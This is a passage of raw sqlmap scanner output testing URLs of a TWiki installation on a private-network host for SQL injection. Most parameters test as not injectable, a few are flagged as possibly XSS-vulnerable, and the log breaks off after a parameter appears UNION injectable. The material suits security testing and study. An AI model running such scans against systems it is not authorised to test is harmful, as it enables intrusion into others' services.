next URL URL 123: GET http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic6?topicparent=Sandbox.WebHome do you want to test this URL? [Y/n/q] Y [19:41:47] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic6?topicparent=Sandbox.WebHome' [19:41:47] [INFO] testing connection to the target URL [19:41:48] [INFO] testing if the target URL is stable [19:41:49] [INFO] target URL is stable [19:41:49] [INFO] testing if GET parameter 'topicparent' is dynamic [19:41:49] [WARNING] GET parameter 'topicparent' does not appear dynamic [19:41:49] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [19:41:50] [INFO] testing for SQL injection on GET parameter 'topicparent' [19:41:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:41:50] [WARNING] reflective value(s) found and filtering out [19:41:54] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:41:55] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:41:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:41:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:42:01] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:42:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:42:03] [INFO] testing 'MySQL inline queries' [19:42:04] [INFO] testing 'PostgreSQL inline queries' [19:42:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:42:04] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:42:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:42:06] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:42:08] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:42:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:42:12] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:42:14] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:42:15] [INFO] testing 'Oracle AND time-based blind' [19:42:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:42:15] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:42:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:42:27] [WARNING] GET parameter 'topicparent' is not injectable [19:42:27] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 124: GET http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic7?topicparent=Sandbox.WebHome do you want to test this URL? [Y/n/q] Y [19:42:27] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic7?topicparent=Sandbox.WebHome' [19:42:27] [INFO] testing connection to the target URL [19:42:27] [INFO] testing if the target URL is stable [19:42:28] [INFO] target URL is stable [19:42:28] [INFO] testing if GET parameter 'topicparent' is dynamic [19:42:28] [WARNING] GET parameter 'topicparent' does not appear dynamic [19:42:28] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [19:42:28] [INFO] testing for SQL injection on GET parameter 'topicparent' [19:42:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:42:28] [WARNING] reflective value(s) found and filtering out [19:42:29] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:42:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:42:30] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:42:31] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:42:31] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:42:32] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:42:32] [INFO] testing 'MySQL inline queries' [19:42:32] [INFO] testing 'PostgreSQL inline queries' [19:42:32] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:42:32] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:42:32] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:42:33] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:42:33] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:42:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:42:34] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:42:34] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:42:35] [INFO] testing 'Oracle AND time-based blind' [19:42:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:42:35] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:42:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:42:48] [WARNING] GET parameter 'topicparent' is not injectable [19:42:48] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 125: GET http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic8?topicparent=Sandbox.WebHome do you want to test this URL? [Y/n/q] Y [19:42:48] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Sandbox/TestTopic8?topicparent=Sandbox.WebHome' [19:42:48] [INFO] testing connection to the target URL [19:42:48] [INFO] testing if the target URL is stable [19:42:49] [INFO] target URL is stable [19:42:49] [INFO] testing if GET parameter 'topicparent' is dynamic [19:42:49] [WARNING] GET parameter 'topicparent' does not appear dynamic [19:42:49] [WARNING] heuristic (basic) test shows that GET parameter 'topicparent' might not be injectable [19:42:49] [INFO] testing for SQL injection on GET parameter 'topicparent' [19:42:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:42:49] [WARNING] reflective value(s) found and filtering out [19:42:50] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:42:50] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:42:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:42:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:42:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:42:52] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:42:52] [INFO] testing 'MySQL inline queries' [19:42:52] [INFO] testing 'PostgreSQL inline queries' [19:42:52] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:42:53] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:42:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:42:53] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:42:54] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:42:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:42:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:42:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:42:55] [INFO] testing 'Oracle AND time-based blind' [19:42:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:42:56] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:43:02] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:43:08] [WARNING] GET parameter 'topicparent' is not injectable [19:43:08] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 126: GET http://192.168.1.113:80/twiki/bin/edit/Sandbox/WebHome?t=1441457353 do you want to test this URL? [Y/n/q] Y [19:43:08] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Sandbox/WebHome?t=1441457353' [19:43:08] [INFO] testing connection to the target URL [19:43:08] [INFO] testing if the target URL is stable [19:43:09] [INFO] target URL is stable [19:43:09] [INFO] testing if GET parameter 't' is dynamic [19:43:09] [WARNING] GET parameter 't' does not appear dynamic [19:43:09] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [19:43:09] [INFO] testing for SQL injection on GET parameter 't' [19:43:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:43:10] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:43:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:43:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:43:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:43:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:43:12] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:43:12] [INFO] testing 'MySQL inline queries' [19:43:12] [INFO] testing 'PostgreSQL inline queries' [19:43:13] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:43:13] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:43:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:43:13] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:43:14] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:43:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:43:15] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:43:15] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:43:16] [INFO] testing 'Oracle AND time-based blind' [19:43:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:43:16] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:43:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:43:28] [WARNING] GET parameter 't' is not injectable [19:43:28] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 127: GET http://192.168.1.113:80/twiki/bin/search/Sandbox/SearchResult?scope=text®ex=on&search=Web Home[^A-Za-z] do you want to test this URL? [Y/n/q] Y [19:43:28] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Sandbox/SearchResult?scope=text®ex=on&search=Web Home[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:43:28] [INFO] testing connection to the target URL [19:43:28] [INFO] testing if the target URL is stable [19:43:29] [INFO] target URL is stable [19:43:29] [INFO] testing if URI parameter '#1' is dynamic [19:43:29] [WARNING] URI parameter '#1*' does not appear dynamic [19:43:29] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:43:29] [INFO] testing for SQL injection on URI parameter '#1*' [19:43:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:43:29] [WARNING] reflective value(s) found and filtering out [19:43:31] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:43:31] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:43:31] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:43:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:43:32] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:43:33] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:43:33] [INFO] testing 'MySQL inline queries' [19:43:33] [INFO] testing 'PostgreSQL inline queries' [19:43:33] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:43:33] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:43:34] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:43:34] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:43:34] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:43:35] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:43:35] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:43:36] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:43:36] [INFO] testing 'Oracle AND time-based blind' [19:43:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:43:37] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:43:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:43:57] [WARNING] URI parameter '#1*' is not injectable [19:43:57] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 128: GET http://192.168.1.113:80/twiki/bin/view/Sandbox/WebHome?skin=print do you want to test this URL? [Y/n/q] Y [19:43:57] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebHome?skin=print' [19:43:57] [INFO] testing connection to the target URL [19:43:57] [INFO] testing if the target URL is stable [19:43:58] [INFO] target URL is stable [19:43:58] [INFO] testing if GET parameter 'skin' is dynamic [19:43:58] [INFO] confirming that GET parameter 'skin' is dynamic [19:43:58] [INFO] GET parameter 'skin' is dynamic [19:43:58] [INFO] heuristics detected web page charset 'ascii' [19:43:58] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [19:43:58] [INFO] testing for SQL injection on GET parameter 'skin' [19:43:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:43:58] [WARNING] reflective value(s) found and filtering out [19:44:00] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:44:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:44:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:44:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:44:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:44:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:44:03] [INFO] testing 'MySQL inline queries' [19:44:03] [INFO] testing 'PostgreSQL inline queries' [19:44:03] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:44:03] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:44:04] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:44:04] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:44:05] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:44:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:44:07] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:44:08] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:44:08] [INFO] testing 'Oracle AND time-based blind' [19:44:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:44:09] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:44:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:44:32] [WARNING] GET parameter 'skin' is not injectable [19:44:32] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 129: GET http://192.168.1.113:80/twiki/bin/rdiff/Sandbox/WebHome?rev1=1.8&rev2=1.7 do you want to test this URL? [Y/n/q] Y [19:44:32] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/Sandbox/WebHome?rev1=1.8&rev2=1.7' [19:44:32] [INFO] testing connection to the target URL [19:44:32] [INFO] testing if the target URL is stable [19:44:33] [INFO] target URL is stable [19:44:33] [INFO] testing if GET parameter 'rev1' is dynamic [19:44:33] [WARNING] GET parameter 'rev1' does not appear dynamic [19:44:33] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [19:44:33] [INFO] testing for SQL injection on GET parameter 'rev1' [19:44:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:44:34] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:44:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:44:35] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:44:35] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:44:36] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:44:37] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:44:37] [INFO] testing 'MySQL inline queries' [19:44:37] [INFO] testing 'PostgreSQL inline queries' [19:44:37] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:44:37] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:44:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:44:38] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:44:38] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:44:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:44:39] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:44:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:44:40] [INFO] testing 'Oracle AND time-based blind' [19:44:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:44:41] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:44:47] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:44:54] [WARNING] GET parameter 'rev1' is not injectable [19:44:54] [INFO] testing if GET parameter 'rev2' is dynamic [19:44:54] [WARNING] GET parameter 'rev2' does not appear dynamic [19:44:54] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [19:44:54] [INFO] testing for SQL injection on GET parameter 'rev2' [19:44:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:44:55] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:44:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:44:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:44:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:44:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:44:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:44:58] [INFO] testing 'MySQL inline queries' [19:44:59] [INFO] testing 'PostgreSQL inline queries' [19:44:59] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:44:59] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:45:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:45:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:45:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:45:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:45:02] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:45:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:45:04] [INFO] testing 'Oracle AND time-based blind' [19:45:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:45:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:45:17] [WARNING] GET parameter 'rev2' is not injectable [19:45:17] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 130: GET http://192.168.1.113:80/twiki/bin/view/Sandbox/WebHome?rev=1.7 do you want to test this URL? [Y/n/q] Y [19:45:17] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebHome?rev=1.7' [19:45:17] [INFO] testing connection to the target URL [19:45:18] [INFO] testing if the target URL is stable [19:45:19] [INFO] target URL is stable [19:45:19] [INFO] testing if GET parameter 'rev' is dynamic [19:45:19] [WARNING] GET parameter 'rev' does not appear dynamic [19:45:19] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [19:45:19] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [19:45:19] [INFO] testing for SQL injection on GET parameter 'rev' [19:45:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:45:19] [WARNING] reflective value(s) found and filtering out [19:45:21] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:45:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:45:21] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:45:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:45:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:45:23] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:45:23] [INFO] testing 'MySQL inline queries' [19:45:23] [INFO] testing 'PostgreSQL inline queries' [19:45:24] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:45:24] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:45:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:45:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:45:25] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:45:25] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:45:26] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:45:27] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:45:27] [INFO] testing 'Oracle AND time-based blind' [19:45:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:45:28] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:45:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:45:43] [WARNING] GET parameter 'rev' is not injectable [19:45:43] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:45:43] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Sandbox/WebHome?rev1=1.7&rev2=1.6' [19:45:43] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebHome?rev=1.6' URL 131: GET http://192.168.1.113:80/twiki/bin/oops/Sandbox/WebHome?template=oopsmore¶m1=1.8¶m2=1.8 do you want to test this URL? [Y/n/q] Y [19:45:43] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/Sandbox/WebHome?template=oopsmore¶m1=1.8¶m2=1.8' [19:45:43] [INFO] testing connection to the target URL [19:45:43] [INFO] testing if the target URL is stable [19:45:44] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:45:44] [INFO] testing if GET parameter 'template' is dynamic [19:45:44] [INFO] confirming that GET parameter 'template' is dynamic [19:45:44] [INFO] GET parameter 'template' is dynamic [19:45:44] [INFO] heuristics detected web page charset 'ascii' [19:45:44] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [19:45:44] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [19:45:44] [INFO] testing for SQL injection on GET parameter 'template' [19:45:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:45:44] [WARNING] reflective value(s) found and filtering out [19:45:45] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:45:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:45:46] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:45:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:45:47] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:45:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:45:47] [INFO] testing 'MySQL inline queries' [19:45:47] [INFO] testing 'PostgreSQL inline queries' [19:45:47] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:45:47] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:45:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:45:48] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:45:49] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:45:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:45:50] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:45:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:45:51] [INFO] testing 'Oracle AND time-based blind' [19:45:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:45:51] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:45:56] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:46:01] [WARNING] GET parameter 'template' is not injectable [19:46:01] [INFO] testing if GET parameter 'param1' is dynamic [19:46:01] [WARNING] GET parameter 'param1' does not appear dynamic [19:46:01] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [19:46:01] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [19:46:01] [INFO] testing for SQL injection on GET parameter 'param1' [19:46:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:46:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:46:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:46:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:46:04] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:46:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:46:05] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:46:05] [INFO] testing 'MySQL inline queries' [19:46:05] [INFO] testing 'PostgreSQL inline queries' [19:46:05] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:46:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:46:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:46:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:46:07] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:46:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:46:08] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:46:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:46:09] [INFO] testing 'Oracle AND time-based blind' [19:46:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:46:14] [INFO] target URL appears to be UNION injectable with 1 columns [19:46:14] [WARNING] applying generic concatenation with double pipes ('||') [19:46:14] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql') [19:46:15] [INFO] target URL appears to be UNION injectable with 10 columns injection not exploitable with NULL values. Do you want to try with a random integer value for option 